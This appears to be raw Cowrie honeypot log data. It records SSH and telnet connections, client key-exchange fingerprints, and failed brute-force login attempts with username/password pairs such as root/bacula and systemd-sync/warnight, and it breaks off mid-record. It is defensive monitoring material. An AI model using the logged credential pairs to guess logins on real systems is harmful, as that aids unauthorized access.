{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:20.286710Z","src_ip":"186.116.56.108","session":"923218c94063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"o0o0o0o0","message":"login attempt [root/o0o0o0o0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:20.696944Z","src_ip":"186.116.56.108","session":"923218c94063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:21.794591Z","src_ip":"186.116.56.108","session":"923218c94063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":57512,"dst_ip":"10.17.0.5","dst_port":22,"session":"e90981c68710","protocol":"ssh","message":"New connection: 205.209.121.72:57512 (10.17.0.5:22) [session: e90981c68710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:31.400335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:31.405461Z","src_ip":"205.209.121.72","session":"e90981c68710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:31.411445Z","src_ip":"205.209.121.72","session":"e90981c68710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:31.466354Z","src_ip":"205.209.121.72","session":"e90981c68710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:35:32.500506Z","src_ip":"205.209.121.72","session":"e90981c68710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":39486,"dst_ip":"10.17.0.5","dst_port":22,"session":"f30ee1b3d261","protocol":"ssh","message":"New connection: 163.7.9.84:39486 (10.17.0.5:22) [session: f30ee1b3d261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:15.615806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:15.621771Z","src_ip":"163.7.9.84","session":"f30ee1b3d261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:15.880473Z","src_ip":"163.7.9.84","session":"f30ee1b3d261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:16.941197Z","src_ip":"163.7.9.84","session":"f30ee1b3d261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:18.201399Z","src_ip":"163.7.9.84","session":"f30ee1b3d261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":55974,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e40121e94b","protocol":"telnet","message":"New connection: 142.93.69.27:55974 (10.17.0.5:23) [session: 47e40121e94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:24.354149Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":40800,"dst_ip":"10.17.0.5","dst_port":22,"session":"84080246a673","protocol":"ssh","message":"New connection: 67.102.183.113:40800 (10.17.0.5:22) [session: 84080246a673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:26.498283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:26.503846Z","src_ip":"67.102.183.113","session":"84080246a673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:26.575170Z","src_ip":"67.102.183.113","session":"84080246a673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bacula","message":"login attempt [root/bacula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:26.887668Z","src_ip":"67.102.183.113","session":"84080246a673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:27.961836Z","src_ip":"67.102.183.113","session":"84080246a673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":38334,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9e7b826e027","protocol":"ssh","message":"New connection: 202.29.225.206:38334 (159.203.135.109:22) [session: a9e7b826e027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:30.851244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:30.856651Z","src_ip":"202.29.225.206","session":"a9e7b826e027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:31.095506Z","src_ip":"202.29.225.206","session":"a9e7b826e027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lhx123456","message":"login attempt [root/Lhx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:32.094804Z","src_ip":"202.29.225.206","session":"a9e7b826e027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:33.345208Z","src_ip":"202.29.225.206","session":"a9e7b826e027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":53354,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a5435d1e536","protocol":"ssh","message":"New connection: 186.116.56.108:53354 (159.203.135.109:22) [session: 2a5435d1e536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:44.875928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:44.880816Z","src_ip":"186.116.56.108","session":"2a5435d1e536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:44.969267Z","src_ip":"186.116.56.108","session":"2a5435d1e536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"colorado","message":"login attempt [root/colorado] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:45.361509Z","src_ip":"186.116.56.108","session":"2a5435d1e536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:46.452941Z","src_ip":"186.116.56.108","session":"2a5435d1e536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":59352,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dccf38ad486","protocol":"ssh","message":"New connection: 101.109.219.135:59352 (10.17.0.5:22) [session: 0dccf38ad486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:55.261129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:55.265926Z","src_ip":"101.109.219.135","session":"0dccf38ad486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:55.514813Z","src_ip":"101.109.219.135","session":"0dccf38ad486","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PassWord","message":"login attempt [root/PassWord] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:56.546118Z","src_ip":"101.109.219.135","session":"0dccf38ad486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:36:57.798167Z","src_ip":"101.109.219.135","session":"0dccf38ad486","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.71582746505737,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:06.069834Z","src_ip":"142.93.69.27","session":"47e40121e94b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":46504,"dst_ip":"10.17.0.5","dst_port":22,"session":"888620370283","protocol":"ssh","message":"New connection: 163.7.9.84:46504 (10.17.0.5:22) [session: 888620370283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:41.401446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:41.405893Z","src_ip":"163.7.9.84","session":"888620370283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:41.663372Z","src_ip":"163.7.9.84","session":"888620370283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:42.724836Z","src_ip":"163.7.9.84","session":"888620370283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:43.986489Z","src_ip":"163.7.9.84","session":"888620370283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":45514,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b0be4f9da1","protocol":"ssh","message":"New connection: 202.29.225.206:45514 (159.203.135.109:22) [session: f7b0be4f9da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:52.368348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:52.372561Z","src_ip":"202.29.225.206","session":"f7b0be4f9da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 